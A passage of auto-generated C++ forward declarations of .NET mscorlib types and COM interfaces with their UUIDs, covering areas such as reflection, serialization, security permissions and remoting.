AppDomainManagerInitializationOptions; struct /* coclass */ AppDomainManager; struct __declspec(uuid("27fff232-a7a8-40dd-8d4a-734ad59fcd41")) /* interface */ IAppDomainSetup; struct /* coclass */ AppDomainSetup; enum LoaderOptimization; struct __declspec(uuid("917b14d0-2d9e-38b8-92a9-381acf52f7c0")) /* interface */ _Attribute; struct /* coclass */ Attribute; struct /* coclass */ LoaderOptimizationAttribute; struct /* coclass */ AppDomainUnloadedException; struct /* coclass */ EvidenceBase; struct /* coclass */ ActivationArguments; struct /* coclass */ ApplicationId; struct /* coclass */ ArgumentException; struct /* coclass */ ArgumentNullException; struct /* coclass */ ArgumentOutOfRangeException; struct /* coclass */ ArithmeticException; struct /* coclass */ ArrayTypeMismatchException; struct /* coclass */ AsyncCallback; enum AttributeTargets; struct /* coclass */ AttributeUsageAttribute; struct /* coclass */ BadImageFormatException; struct Boolean; struct /* coclass */ Buffer; struct Byte; struct /* coclass */ CannotUnloadAppDomainException; struct Char; struct /* coclass */ CharEnumerator; struct /* coclass */ CLSCompliantAttribute; struct /* coclass */ TypeUnloadedException; struct __declspec(uuid("c281c7f1-4aa9-3517-961a-463cfed57e75")) /* interface */ _Thread; struct /* coclass */ CriticalFinalizerObject; struct /* coclass */ ContextMarshalException; struct /* coclass */ ContextBoundObject; struct /* coclass */ ContextStaticAttribute; struct /* coclass */ TimeZone; enum DayOfWeek; struct /* coclass */ DBNull; struct Decimal; struct /* coclass */ Binder; struct __declspec(uuid("6e70ed5f-0439-38ce-83bb-860f1421f29f")) /* dual interface */ IObjectReference; struct /* coclass */ DivideByZeroException; struct Double; struct /* coclass */ DuplicateWaitObjectException; struct /* coclass */ TypeLoadException; struct /* coclass */ EntryPointNotFoundException; struct /* coclass */ DllNotFoundException; enum EnvironmentVariableTarget; struct /* coclass */ Environment; struct /* coclass */ EventHandler; struct /* coclass */ FieldAccessException; struct /* coclass */ FlagsAttribute; struct /* coclass */ FormatException; struct Guid; struct __declspec(uuid("11ab34e7-0176-3c9e-9efe-197858400a3d")) /* dual interface */ IAsyncResult; struct __declspec(uuid("2b130940-ca5e-3406-8385-e259e68ab039")) /* dual interface */ ICustomFormatter; struct __declspec(uuid("c8cb1ded-2814-396a-9cc0-473ca49779cc")) /* dual interface */ IFormatProvider; struct /* coclass */ IndexOutOfRangeException; struct Int16; struct Int32; struct Int64; struct IntPtr; struct /* coclass */ InvalidCastException; struct /* coclass */ InvalidOperationException; struct /* coclass */ InvalidProgramException; struct /* coclass */ LocalDataStoreSlot; struct /* coclass */ MethodAccessException; enum MidpointRounding; struct /* coclass */ MissingMemberException; struct /* coclass */ MissingFieldException; struct /* coclass */ MissingMethodException; struct /* coclass */ MulticastNotSupportedException; struct /* coclass */ NonSerializedAttribute; struct /* coclass */ NotFiniteNumberException; struct /* coclass */ NotImplementedException; struct /* coclass */ NotSupportedException; struct /* coclass */ NullReferenceException; struct /* coclass */ ObjectDisposedException; struct /* coclass */ ObsoleteAttribute; struct /* coclass */ OperatingSystem; struct /* coclass */ OperationCanceledException; struct /* coclass */ OverflowException; struct /* coclass */ ParamArrayAttribute; enum PlatformID; struct /* coclass */ PlatformNotSupportedException; struct /* coclass */ Random; struct /* coclass */ RankException; struct __declspec(uuid("b9b91146-d6c2-3a62-8159-c2d1794cdeb0")) /* dual interface */ ICustomAttributeProvider; struct __declspec(uuid("f7102fa9-cabb-3a74-a6da-b4567ef1b079")) /* interface */ _MemberInfo; struct /* coclass */ MemberInfo; struct __declspec(uuid("bca8b44d-aad6-3a86-8ab7-03349f4f2da2")) /* interface */ _Type; struct __declspec(uuid("afbf15e5-c37c-11d2-b88e-00a0c9b471b8")) /* dual interface */ IReflect; struct /* coclass */ Type; struct /* coclass */ TypeInfo; struct RuntimeArgumentHandle; struct RuntimeTypeHandle; struct RuntimeMethodHandle; struct RuntimeFieldHandle; struct ModuleHandle; struct SByte; struct /* coclass */ SerializableAttribute; struct Single; struct /* coclass */ STAThreadAttribute; struct /* coclass */ MTAThreadAttribute; struct /* coclass */ TimeoutException; struct TimeSpan; enum TypeCode; struct TypedReference; struct /* coclass */ TypeInitializationException; struct UInt16; struct UInt32; struct UInt64; struct UIntPtr; struct /* coclass */ UnauthorizedAccessException; struct /* coclass */ UnhandledExceptionEventArgs; struct /* coclass */ UnhandledExceptionEventHandler; struct /* coclass */ Version; struct Void; struct /* coclass */ WeakReference; struct /* coclass */ WaitHandle; struct /* coclass */ EventWaitHandle; struct /* coclass */ AutoResetEvent; struct /* coclass */ ContextCallback; struct __declspec(uuid("c460e2b4-e199-412a-8456-84dc3e4838c3")) /* interface */ IObjectHandle; struct LockCookie; struct /* coclass */ ManualResetEvent; struct /* coclass */ Monitor; struct /* coclass */ Mutex; struct NativeOverlapped; struct /* coclass */ Overlapped; struct /* coclass */ ReaderWriterLock; struct /* coclass */ SynchronizationLockException; struct /* coclass */ Thread; struct /* coclass */ ThreadAbortException; struct /* coclass */ ThreadInterruptedException; struct /* coclass */ RegisteredWaitHandle; struct /* coclass */ WaitCallback; struct /* coclass */ WaitOrTimerCallback; struct /* coclass */ IOCompletionCallback; enum ThreadPriority; struct /* coclass */ ThreadStart; enum ThreadState; struct /* coclass */ ThreadStateException; struct /* coclass */ ThreadStaticAttribute; struct /* coclass */ Timeout; struct /* coclass */ TimerCallback; struct /* coclass */ Timer; enum ApartmentState; struct /* coclass */ CaseInsensitiveComparer; struct __declspec(uuid("5d573036-3435-3c5a-aeff-2b8191082c71")) /* dual interface */ IHashCodeProvider; struct /* coclass */ CaseInsensitiveHashCodeProvider; struct /* coclass */ CollectionBase; struct __declspec(uuid("6a6841df-3287-3d87-8060-ce0b4c77d2a1")) /* dual interface */ IDictionary; struct /* coclass */ DictionaryBase; struct /* coclass */ ReadOnlyCollectionBase; struct /* coclass */ Queue; struct /* coclass */ ArrayList; struct /* coclass */ BitArray; struct /* coclass */ Stack; struct /* coclass */ Comparer; struct __declspec(uuid("35d574bf-7a4f-3588-8c19-12212a0fe4dc")) /* dual interface */ IDictionaryEnumerator; struct /* coclass */ Hashtable; struct DictionaryEntry; struct /* coclass */ SortedList; struct /* coclass */ Nullable; struct /* coclass */ KeyNotFoundException; struct /* coclass */ ConditionalAttribute; struct /* coclass */ Debugger; struct /* coclass */ DebuggerStepThroughAttribute; struct /* coclass */ DebuggerStepperBoundaryAttribute; struct /* coclass */ DebuggerHiddenAttribute; struct /* coclass */ DebuggerNonUserCodeAttribute; struct /* coclass */ DebuggableAttribute; enum DebuggerBrowsableState; struct /* coclass */ DebuggerBrowsableAttribute; struct /* coclass */ DebuggerTypeProxyAttribute; struct /* coclass */ DebuggerDisplayAttribute; struct /* coclass */ DebuggerVisualizerAttribute; struct /* coclass */ StackTrace; struct /* coclass */ StackFrame; struct __declspec(uuid("20808adc-cc01-3f3a-8f09-ed12940fc212")) /* dual interface */ ISymbolBinder; struct __declspec(uuid("027c036a-4052-3821-85de-b53319df1211")) /* dual interface */ ISymbolBinder1; struct __declspec(uuid("1c32f012-2684-3efe-8d50-9c2973acc00b")) /* dual interface */ ISymbolDocument; struct __declspec(uuid("fa682f24-3a3c-390d-b8a2-96f1106f4b37")) /* dual interface */ ISymbolDocumentWriter; struct __declspec(uuid("25c72eb0-e437-3f17-946d-3b72a3acff37")) /* dual interface */ ISymbolMethod; struct __declspec(uuid("23ed2454-6899-3c28-bab7-6ec86683964a")) /* dual interface */ ISymbolNamespace; struct __declspec(uuid("e809a5f1-d3d7-3144-9bef-fe8ac0364699")) /* dual interface */ ISymbolReader; struct __declspec(uuid("1cee3a11-01ae-3244-a939-4972fc9703ef")) /* dual interface */ ISymbolScope; struct __declspec(uuid("4042bd4d-b5ab-30e8-919b-14910687baae")) /* dual interface */ ISymbolVariable; struct __declspec(uuid("da295a1b-c5bd-3b34-8acd-1d7d334ffb7f")) /* dual interface */ ISymbolWriter; enum SymAddressKind; struct /* coclass */ SymDocumentType; struct /* coclass */ SymLanguageType; struct /* coclass */ SymLanguageVendor; struct SymbolToken; struct /* coclass */ AmbiguousMatchException; struct /* coclass */ ModuleResolveEventHandler; struct __declspec(uuid("17156360-2f1a-384a-bc52-fde93c215c5b")) /* dual interface */ _Assembly; struct /* coclass */ Assembly; struct /* coclass */ AssemblyCopyrightAttribute; struct /* coclass */ AssemblyTrademarkAttribute; struct /* coclass */ AssemblyProductAttribute; struct /* coclass */ AssemblyCompanyAttribute; struct /* coclass */ AssemblyDescriptionAttribute; struct /* coclass */ AssemblyTitleAttribute; struct /* coclass */ AssemblyConfigurationAttribute; struct /* coclass */ AssemblyDefaultAliasAttribute; struct /* coclass */ AssemblyInformationalVersionAttribute; struct /* coclass */ AssemblyFileVersionAttribute; struct /* coclass */ AssemblyCultureAttribute; struct /* coclass */ AssemblyVersionAttribute; struct /* coclass */ AssemblyKeyFileAttribute; struct /* coclass */ AssemblyDelaySignAttribute; struct /* coclass */ AssemblyAlgorithmIdAttribute; struct /* coclass */ AssemblyFlagsAttribute; struct /* coclass */ AssemblyKeyNameAttribute; struct __declspec(uuid("b42b6aac-317e-34d5-9fa9-093bb4160c50")) /* interface */ _AssemblyName; struct /* coclass */ AssemblyName; struct /* coclass */ AssemblyNameProxy; enum AssemblyNameFlags; enum ProcessorArchitecture; struct /* coclass */ CustomAttributeFormatException; enum BindingFlags; enum CallingConventions; struct __declspec(uuid("6240837a-707f-3181-8e98-a36ae086766b")) /* interface */ _MethodBase; struct __declspec(uuid("ffcc1b5d-ecb8-38dd-9b01-3dc8abc2aa5f")) /* interface */ _MethodInfo; struct __declspec(uuid("e9a19478-9646-3679-9b10-8411ae1fd57d")) /* interface */ _ConstructorInfo; struct __declspec(uuid("8a7c1442-a9fb-366b-80d8-4939ffa6dbe0")) /* interface */ _FieldInfo; struct __declspec(uuid("f59ed4e4-e68f-3218-bd77-061aa82824bf")) /* interface */ _PropertyInfo; struct __declspec(uuid("9de59c64-d889-35a1-b897-587d74469e5b")) /* interface */ _EventInfo; struct __declspec(uuid("993634c4-e47a-32cc-be08-85f567dc27d6")) /* interface */ _ParameterInfo; struct __declspec(uuid("d002e9ba-d9e3-3749-b1d3-d565a08b13e7")) /* interface */ _Module; struct /* coclass */ MethodBase; struct /* coclass */ ConstructorInfo; struct /* coclass */ CustomAttributeData; struct CustomAttributeNamedArgument; struct CustomAttributeTypedArgument; struct /* coclass */ DefaultMemberAttribute; enum EventAttributes; struct /* coclass */ EventInfo; enum FieldAttributes; struct /* coclass */ FieldInfo; struct InterfaceMapping; struct /* coclass */ InvalidFilterCriteriaException; struct /* coclass */ ManifestResourceInfo; enum ResourceLocation; struct /* coclass */ MemberFilter; enum MemberTypes; enum MethodAttributes; enum MethodImplAttributes; struct /* coclass */ MethodInfo; struct /* coclass */ Missing; enum PortableExecutableKinds; enum ImageFileMachine; struct /* coclass */ Module; struct /* coclass */ ObfuscateAssemblyAttribute; struct /* coclass */ ObfuscationAttribute; enum ExceptionHandlingClauseOptions; struct /* coclass */ ExceptionHandlingClause; struct /* coclass */ MethodBody; struct /* coclass */ LocalVariableInfo; enum ParameterAttributes; struct /* coclass */ ParameterInfo; struct ParameterModifier; struct /* coclass */ Pointer; enum PropertyAttributes; struct /* coclass */ PropertyInfo; struct /* coclass */ ReflectionTypeLoadException; enum ResourceAttributes; struct /* coclass */ StrongNameKeyPair; struct /* coclass */ TargetException; struct /* coclass */ TargetInvocationException; struct /* coclass */ TargetParameterCountException; enum TypeAttributes; struct /* coclass */ TypeDelegator; struct /* coclass */ TypeFilter; struct __declspec(uuid("f4f5c303-fad3-3d0c-a4df-bb82b5ee308f")) /* dual interface */ IFormatterConverter; struct /* coclass */ FormatterConverter; struct /* coclass */ FormatterServices; struct __declspec(uuid("62339172-dbfa-337b-8ac8-053b241e06ab")) /* dual interface */ ISerializationSurrogate; struct __declspec(uuid("93d7a8c5-d2eb-319b-a374-a65d321f2aa9")) /* dual interface */ IFormatter; struct __declspec(uuid("7c66ff18-a1a5-3e19-857b-0e7b6a9e3f38")) /* dual interface */ ISurrogateSelector; struct /* coclass */ OptionalFieldAttribute; struct /* coclass */ OnSerializingAttribute; struct /* coclass */ OnSerializedAttribute; struct /* coclass */ OnDeserializingAttribute; struct /* coclass */ OnDeserializedAttribute; struct /* coclass */ SerializationBinder; struct /* coclass */ SerializationException; struct /* coclass */ SerializationInfo; struct SerializationEntry; struct /* coclass */ SerializationInfoEnumerator; struct StreamingContext; enum StreamingContextStates; struct /* coclass */ Formatter; struct /* coclass */ ObjectIDGenerator; struct /* coclass */ ObjectManager; struct /* coclass */ SurrogateSelector; struct /* coclass */ Calendar; enum CalendarAlgorithmType; enum CalendarWeekRule; enum CompareOptions; struct /* coclass */ CompareInfo; struct /* coclass */ CultureInfo; struct /* coclass */ CultureNotFoundException; enum CultureTypes; enum DateTimeStyles; struct /* coclass */ DateTimeFormatInfo; struct /* coclass */ DaylightTime; enum DigitShapes; struct /* coclass */ GregorianCalendar; enum GregorianCalendarTypes; struct /* coclass */ HebrewCalendar; struct /* coclass */ HijriCalendar; struct /* coclass */ EastAsianLunisolarCalendar; struct /* coclass */ JulianCalendar; struct /* coclass */ JapaneseCalendar; struct /* coclass */ KoreanCalendar; struct /* coclass */ RegionInfo; struct /* coclass */ SortKey; struct /* coclass */ StringInfo; struct /* coclass */ TaiwanCalendar; struct /* coclass */ TextElementEnumerator; struct /* coclass */ TextInfo; struct /* coclass */ ThaiBuddhistCalendar; struct /* coclass */ NumberFormatInfo; enum NumberStyles; enum UnicodeCategory; struct /* coclass */ Encoding; struct /* coclass */ Encoder; struct /* coclass */ Decoder; struct /* coclass */ ASCIIEncoding; enum NormalizationForm; struct /* coclass */ UnicodeEncoding; struct /* coclass */ UTF7Encoding; struct /* coclass */ UTF8Encoding; struct __declspec(uuid("8965a22f-fba8-36ad-8132-70bbd0da457d")) /* dual interface */ IResourceReader; struct __declspec(uuid("e97aa6e5-595e-31c3-82f0-688fb91954c6")) /* dual interface */ IResourceWriter; struct /* coclass */ MissingManifestResourceException; struct /* coclass */ MissingSatelliteAssemblyException; struct /* coclass */ NeutralResourcesLanguageAttribute; struct /* coclass */ ResourceManager; struct /* coclass */ ResourceReader; struct /* coclass */ ResourceSet; struct /* coclass */ ResourceWriter; struct /* coclass */ SatelliteContractVersionAttribute; enum UltimateResourceFallbackLocation; struct /* coclass */ Registry; enum RegistryHive; struct /* coclass */ RegistryKey; enum RegistryValueKind; struct __declspec(uuid("fd46bde5-acdf-3ca5-b189-f0678387077f")) /* dual interface */ ISecurityEncodable; struct __declspec(uuid("e6c21ba7-21bb-34e9-8e57-db66d8ce4a70")) /* dual interface */ ISecurityPolicyEncodable; struct __declspec(uuid("6844eff4-4f86-3ca1-a1ea-aaf583a6395e")) /* dual interface */ IMembershipCondition; struct /* coclass */ AllMembershipCondition; struct /* coclass */ ApplicationDirectory; struct /* coclass */ ApplicationDirectoryMembershipCondition; struct /* coclass */ ApplicationSecurityInfo; struct /* coclass */ ApplicationSecurityManager; enum ApplicationVersionMatch; struct /* coclass */ ApplicationTrust; struct /* coclass */ ApplicationTrustCollection; struct /* coclass */ ApplicationTrustEnumerator; struct /* coclass */ CodeGroup; struct /* coclass */ Evidence; struct /* coclass */ FileCodeGroup; struct /* coclass */ FirstMatchCodeGroup; struct __declspec(uuid("4e95244e-c6fc-3a86-8db7-1712454de3b6")) /* dual interface */ IIdentityPermissionFactory; struct __declspec(uuid("427e255d-af02-3b0d-8ce3-a2bb94ba300f")) /* dual interface */ IApplicationTrustManager; enum TrustManagerUIContext; struct /* coclass */ TrustManagerContext; struct /* coclass */ CodeConnectAccess; struct /* coclass */ NetCodeGroup; struct /* coclass */ PermissionRequestEvidence; struct /* coclass */ PolicyException; struct /* coclass */ PolicyLevel; enum PolicyStatementAttribute; struct /* coclass */ PolicyStatement; struct /* coclass */ Site; struct /* coclass */ SiteMembershipCondition; struct /* coclass */ StrongName; struct /* coclass */ StrongNameMembershipCondition; struct /* coclass */ UnionCodeGroup; struct /* coclass */ Url; struct /* coclass */ UrlMembershipCondition; struct /* coclass */ Zone; struct /* coclass */ ZoneMembershipCondition; struct /* coclass */ GacInstalled; struct /* coclass */ GacMembershipCondition; struct /* coclass */ Hash; struct /* coclass */ HashMembershipCondition; struct /* coclass */ Publisher; struct /* coclass */ PublisherMembershipCondition; struct __declspec(uuid("f4205a87-4d46-303d-b1d9-5a99f7c90d30")) /* dual interface */ IIdentity; struct /* coclass */ ClaimsIdentity; struct /* coclass */ GenericIdentity; struct __declspec(uuid("4283ca6c-d291-3481-83c9-9554481fe888")) /* dual interface */ IPrincipal; struct /* coclass */ ClaimsPrincipal; struct /* coclass */ GenericPrincipal; enum PrincipalPolicy; enum TokenAccessLevels; enum WindowsAccountType; enum TokenImpersonationLevel; struct /* coclass */ WindowsIdentity; struct /* coclass */ WindowsImpersonationContext; enum WindowsBuiltInRole; struct /* coclass */ WindowsPrincipal; struct ArrayWithOffset; struct /* coclass */ UnmanagedFunctionPointerAttribute; struct /* coclass */ DispIdAttribute; enum ComInterfaceType; struct /* coclass */ InterfaceTypeAttribute; struct /* coclass */ ComDefaultInterfaceAttribute; enum ClassInterfaceType; struct /* coclass */ ClassInterfaceAttribute; struct /* coclass */ ComVisibleAttribute; struct /* coclass */ TypeLibImportClassAttribute; struct /* coclass */ LCIDConversionAttribute; struct /* coclass */ ComRegisterFunctionAttribute; struct /* coclass */ ComUnregisterFunctionAttribute; struct /* coclass */ ProgIdAttribute; struct /* coclass */ ImportedFromTypeLibAttribute; enum IDispatchImplType; struct /* coclass */ IDispatchImplAttribute; struct /* coclass */ ComSourceInterfacesAttribute; struct /* coclass */ ComConversionLossAttribute; enum TypeLibTypeFlags; enum TypeLibFuncFlags; enum TypeLibVarFlags; struct /* coclass */ TypeLibTypeAttribute; struct /* coclass */ TypeLibFuncAttribute; struct /* coclass */ TypeLibVarAttribute; enum VarEnum; enum UnmanagedType; struct /* coclass */ MarshalAsAttribute; struct /* coclass */ ComImportAttribute; struct /* coclass */ GuidAttribute; struct /* coclass */ PreserveSigAttribute; struct /* coclass */ InAttribute; struct /* coclass */ OutAttribute; struct /* coclass */ OptionalAttribute; struct /* coclass */ DllImportAttribute; struct /* coclass */ StructLayoutAttribute; struct /* coclass */ FieldOffsetAttribute; struct /* coclass */ ComAliasNameAttribute; struct /* coclass */ AutomationProxyAttribute; struct /* coclass */ PrimaryInteropAssemblyAttribute; struct /* coclass */ CoClassAttribute; struct /* coclass */ ComEventInterfaceAttribute; struct /* coclass */ TypeLibVersionAttribute; struct /* coclass */ ComCompatibleVersionAttribute; struct /* coclass */ BestFitMappingAttribute; struct /* coclass */ DefaultCharSetAttribute; struct /* coclass */ SetWin32ContextInIDispatchAttribute; enum CallingConvention; enum CharSet; struct /* coclass */ ExternalException; struct /* coclass */ COMException; enum GCHandleType; struct GCHandle; struct HandleRef; struct __declspec(uuid("601cd486-04bf-3213-9ea9-06ebe4351d74")) /* dual interface */ ICustomMarshaler; struct /* coclass */ InvalidOleVariantTypeException; enum LayoutKind; struct __declspec(uuid("f1c3bf76-c3e4-11d3-88e7-00902754c43a")) /* interface */ ITypeLibImporterNotifySink; struct /* coclass */ MarshalDirectiveException; struct /* coclass */ RuntimeEnvironment; struct /* coclass */ SEHException; struct /* coclass */ BStrWrapper; enum ComMemberType; struct /* coclass */ CurrencyWrapper; struct /* coclass */ DispatchWrapper; struct /* coclass */ ErrorWrapper; struct /* coclass */ ExtensibleClassFactory; struct __declspec(uuid("3cc86595-feb5-3ce9-ba14-d05c8dc3321c")) /* dual interface */ ICustomAdapter; struct __declspec(uuid("0ca9008e-ee90-356e-9f6d-b59e6006b9a4")) /* dual interface */ ICustomFactory; struct /* coclass */ InvalidComObjectException; enum AssemblyRegistrationFlags; struct __declspec(uuid("ccbd682c-73a5-4568-b8b0-c7007e11aba2")) /* dual interface */ IRegistrationServices; enum TypeLibImporterFlags; enum TypeLibExporterFlags; enum ImporterEventKind; enum ExporterEventKind; struct __declspec(uuid("f1c3bf77-c3e4-11d3-88e7-00902754c43a")) /* interface */ ITypeLibExporterNotifySink; struct __declspec(uuid("f1c3bf78-c3e4-11d3-88e7-00902754c43a")) /* interface */ ITypeLibConverter; struct __declspec(uuid("fa1f3615-acb9-486d-9eac-1bef87e36b09")) /* interface */ ITypeLibExporterNameProvider; struct /* coclass */ ObjectCreationDelegate; struct /* coclass */ RegistrationServices; struct /* coclass */ SafeArrayRankMismatchException; struct /* coclass */ SafeArrayTypeMismatchException; struct /* coclass */ TypeLibConverter; struct /* coclass */ UnknownWrapper; struct __declspec(uuid("afbf15e6-c37c-11d2-b88e-00a0c9b471b8")) /* dual interface */ IExpando; struct /* coclass */ TextWriter; struct /* coclass */ Stream; struct /* coclass */ BinaryReader; struct /* coclass */ BinaryWriter; struct /* coclass */ BufferedStream; struct /* coclass */ Directory; struct /* coclass */ FileSystemInfo; struct /* coclass */ DirectoryInfo; enum SearchOption; struct /* coclass */ IOException; struct /* coclass */ DirectoryNotFoundException; enum DriveType; struct /* coclass */ DriveInfo; struct /* coclass */ DriveNotFoundException; struct /* coclass */ EndOfStreamException; struct /* coclass */ File; enum FileAccess; struct /* coclass */ FileInfo; struct /* coclass */ FileLoadException; enum FileMode; struct /* coclass */ FileNotFoundException; enum FileOptions; enum FileShare; struct /* coclass */ FileStream; enum FileAttributes; struct /* coclass */ MemoryStream; struct /* coclass */ Path; struct /* coclass */ PathTooLongException; enum SeekOrigin; struct /* coclass */ TextReader; struct /* coclass */ StreamReader; struct /* coclass */ StreamWriter; struct /* coclass */ StringReader; struct /* coclass */ StringWriter; struct /* coclass */ AccessedThroughPropertyAttribute; struct /* coclass */ CallConvCdecl; struct /* coclass */ CallConvStdcall; struct /* coclass */ CallConvThiscall; struct /* coclass */ CallConvFastcall; struct /* coclass */ CustomConstantAttribute; struct /* coclass */ DateTimeConstantAttribute; struct /* coclass */ DiscardableAttribute; struct /* coclass */ DecimalConstantAttribute; enum CompilationRelaxations; struct /* coclass */ CompilationRelaxationsAttribute; struct /* coclass */ CompilerGlobalScopeAttribute; struct /* coclass */ IndexerNameAttribute; struct /* coclass */ IsVolatile; enum MethodImplOptions; enum MethodCodeType; struct /* coclass */ MethodImplAttribute; struct /* coclass */ RequiredAttributeAttribute; struct /* coclass */ IsCopyConstructed; struct /* coclass */ NativeCppClassAttribute; struct /* coclass */ IDispatchConstantAttribute; struct /* coclass */ IUnknownConstantAttribute; struct /* coclass */ SecurityElement; struct /* coclass */ XmlSyntaxException; enum EnvironmentPermissionAccess; struct __declspec(uuid("a19b3fc6-d680-3dd4-a17a-f58a7d481494")) /* dual interface */ IPermission; struct __declspec(uuid("60fc57b0-4a46-32a0-a5b4-b05b0de8e781")) /* dual interface */ IStackWalk; struct /* coclass */ CodeAccessPermission; struct __declspec(uuid("0f1284e6-4399-3963-8ddd-a6a4904f66c8")) /* dual interface */ IUnrestrictedPermission; struct /* coclass */ EnvironmentPermission; enum FileDialogPermissionAccess; struct /* coclass */ FileDialogPermission; enum FileIOPermissionAccess; struct /* coclass */ FileIOPermission; enum HostProtectionResource; struct /* coclass */ SecurityAttribute; struct /* coclass */ CodeAccessSecurityAttribute; struct /* coclass */ HostProtectionAttribute; enum IsolatedStorageContainment; struct /* coclass */ IsolatedStoragePermission; struct /* coclass */ IsolatedStorageFilePermission; enum PermissionState; enum SecurityAction; struct /* coclass */ EnvironmentPermissionAttribute; struct /* coclass */ FileDialogPermissionAttribute; struct /* coclass */ FileIOPermissionAttribute; struct /* coclass */ KeyContainerPermissionAttribute; struct /* coclass */ PrincipalPermissionAttribute; struct /* coclass */ ReflectionPermissionAttribute; struct /* coclass */ RegistryPermissionAttribute; struct /* coclass */ SecurityPermissionAttribute; struct /* coclass */ UIPermissionAttribute; struct /* coclass */ ZoneIdentityPermissionAttribute; struct /* coclass */ StrongNameIdentityPermissionAttribute; struct /* coclass */ SiteIdentityPermissionAttribute; struct /* coclass */ UrlIdentityPermissionAttribute; struct /* coclass */ PublisherIdentityPermissionAttribute; struct /* coclass */ IsolatedStoragePermissionAttribute; struct /* coclass */ IsolatedStorageFilePermissionAttribute; struct /* coclass */ PermissionSetAttribute; enum ReflectionPermissionFlag; struct /* coclass */ ReflectionPermission; struct /* coclass */ PrincipalPermission; enum SecurityPermissionFlag; struct /* coclass */ SecurityPermission; struct /* coclass */ SiteIdentityPermission; struct /* coclass */ StrongNameIdentityPermission; struct /* coclass */ StrongNamePublicKeyBlob; enum UIPermissionWindow; enum UIPermissionClipboard; struct /* coclass */ UIPermission; struct /* coclass */ UrlIdentityPermission; struct /* coclass */ ZoneIdentityPermission; struct /* coclass */ GacIdentityPermissionAttribute; struct /* coclass */ GacIdentityPermission; enum KeyContainerPermissionFlags; struct /* coclass */ KeyContainerPermissionAccessEntry; struct /* coclass */ KeyContainerPermissionAccessEntryCollection; struct /* coclass */ KeyContainerPermissionAccessEntryEnumerator; struct /* coclass */ KeyContainerPermission; struct /* coclass */ PublisherIdentityPermission; enum RegistryPermissionAccess; struct /* coclass */ RegistryPermission; struct /* coclass */ SuppressUnmanagedCodeSecurityAttribute; struct /* coclass */ UnverifiableCodeAttribute; struct /* coclass */ AllowPartiallyTrustedCallersAttribute; enum HostSecurityManagerOptions; struct /* coclass */ HostSecurityManager; struct /* coclass */ PermissionSet; struct /* coclass */ NamedPermissionSet; struct /* coclass */ SecurityException; struct /* coclass */ HostProtectionException; enum PolicyLevelType; struct /* coclass */ SecurityManager; enum SecurityZone; struct /* coclass */ VerificationException; struct __declspec(uuid("4a68baa3-27aa-314a-bdbb-6ae9bdfc0420")) /* dual interface */ IContextAttribute; struct __declspec(uuid("f01d896d-8d5f-3235-be59-20e1e10dc22a")) /* dual interface */ IContextProperty; struct /* coclass */ ContextAttribute; struct __declspec(uuid("c02bbb79-5aa8-390d-927f-717b7bff06a1")) /* dual interface */ IActivator; struct __declspec(uuid("941f8aaa-a353-3b1d-a019-12e44377f1cd")) /* dual interface */ IMessageSink; struct /* coclass */ AsyncResult; struct /* coclass */ ChannelServices; struct __declspec(uuid("3afab213-f5a2-3241-93ba-329ea4ba8016")) /* dual interface */ IClientResponseChannelSinkStack; struct __declspec(uuid("3a5fde6b-db46-34e8-bacd-16ea5a440540")) /* dual interface */ IClientChannelSinkStack; struct /* coclass */ ClientChannelSinkStack; struct __declspec(uuid("9be679a6-61fd-38fc-a7b2-89982d33338b")) /* dual interface */ IServerResponseChannelSinkStack; struct __declspec(uuid("e694a733-768d-314d-b317-dcead136b11d")) /* dual interface */ IServerChannelSinkStack; struct /* coclass */ ServerChannelSinkStack; struct __declspec(uuid("675591af-0508-3131-a7cc-287d265ca7d6")) /* dual interface */ ISponsor; struct /* coclass */ ClientSponsor; enum WellKnownObjectMode; struct /* coclass */ CrossContextDelegate; struct /* coclass */ Context; struct /* coclass */ ContextProperty; struct __declspec(uuid("7197b56b-5fa1-31ef-b38b-62fee737277f")) /* dual interface */ IContextPropertyActivator; struct __declspec(uuid("563581e8-c86d-39e2-b2e8-6c23f7987a4b")) /* dual interface */ IChannel; struct __declspec(uuid("10f1d605-e201-3145-b7ae-3ad746701986")) /* dual interface */ IChannelSender; struct __declspec(uuid("48ad41da-0872-31da-9887-f81f213527e6")) /* dual interface */ IChannelReceiver; struct __declspec(uuid("7dd6e975-24ea-323c-a98c-0fde96f9c4e6")) /* dual interface */ IServerChannelSinkProvider; struct __declspec(uuid("308de042-acc8-32f8-b632-7cb9799d9aa6")) /* dual interface */ IChannelSinkBase; struct __declspec(uuid("21b5f37b-bef3-354c-8f84-0f9f0863f5c5")) /* dual interface */ IServerChannelSink; struct /* coclass */ EnterpriseServicesHelper; enum ActivatorLevel; struct __declspec(uuid("1a8b0de6-b825-38c5-b744-8f93075fd6fa")) /* dual interface */ IMessage; struct __declspec(uuid("8e5e0b95-750e-310d-892c-8ca7231cf75b")) /* dual interface */ IMethodMessage; struct __declspec(uuid("b90efaa6-25e4-33d2-aca3-94bf74dc4ab9")) /* dual interface */ IMethodCallMessage; struct __declspec(uuid("fa28e3af-7d09-31d5-beeb-7f2626497cde")) /* dual interface */ IConstructionCallMessage; struct __declspec(uuid("f617690a-55f4-36af-9149-d199831f8594")) /* dual interface */ IMethodReturnMessage; struct __declspec(uuid("ca0ab564-f5e9-3a7f-a80b-eb0aeefa44e9")) /* dual interface */ IConstructionReturnMessage; struct __declspec(uuid("3a02d3f7-3f40-3022-853d-cfda765182fe")) /* dual interface */ IChannelReceiverHook; struct __declspec(uuid("3f8742c2-ac57-3440-a283-fe5ff4c75025")) /* dual interface */ IClientChannelSinkProvider; struct __declspec(uuid("6d94b6f3-da91-3c2f-b876-083769667468")) /* dual interface */ IClientFormatterSinkProvider; struct __declspec(uuid("042b5200-4317-3e4d-b653-7e9a08f1a5f2")) /* dual interface */ IServerFormatterSinkProvider; struct __declspec(uuid("ff726320-6b92-3e6c-aaac-f97063d0b142")) /* dual interface */ IClientChannelSink; enum ServerProcessing; struct __declspec(uuid("46527c03-b144-3cf0-86b3-b8776148a6e9")) /* dual interface */ IClientFormatterSink; struct __declspec(uuid("1e250ccd-dc30-3217-a7e4-148f375a0088")) /* dual interface */ IChannelDataStore; struct /* coclass */ ChannelDataStore; struct __declspec(uuid("1ac82fbe-4ff0-383c-bbfd-fe40ecb3628d")) /* dual interface */ ITransportHeaders; struct /* coclass */ TransportHeaders; struct /* coclass */ SinkProviderData; struct /* coclass */ BaseChannelObjectWithProperties; struct /* coclass */ BaseChannelSinkWithProperties; struct /* coclass */ BaseChannelWithProperties; struct __declspec(uuid("4db956b7-69d0-312a-aa75-44fb55fd5d4b")) /* dual interface */ IContributeClientContextSink; struct 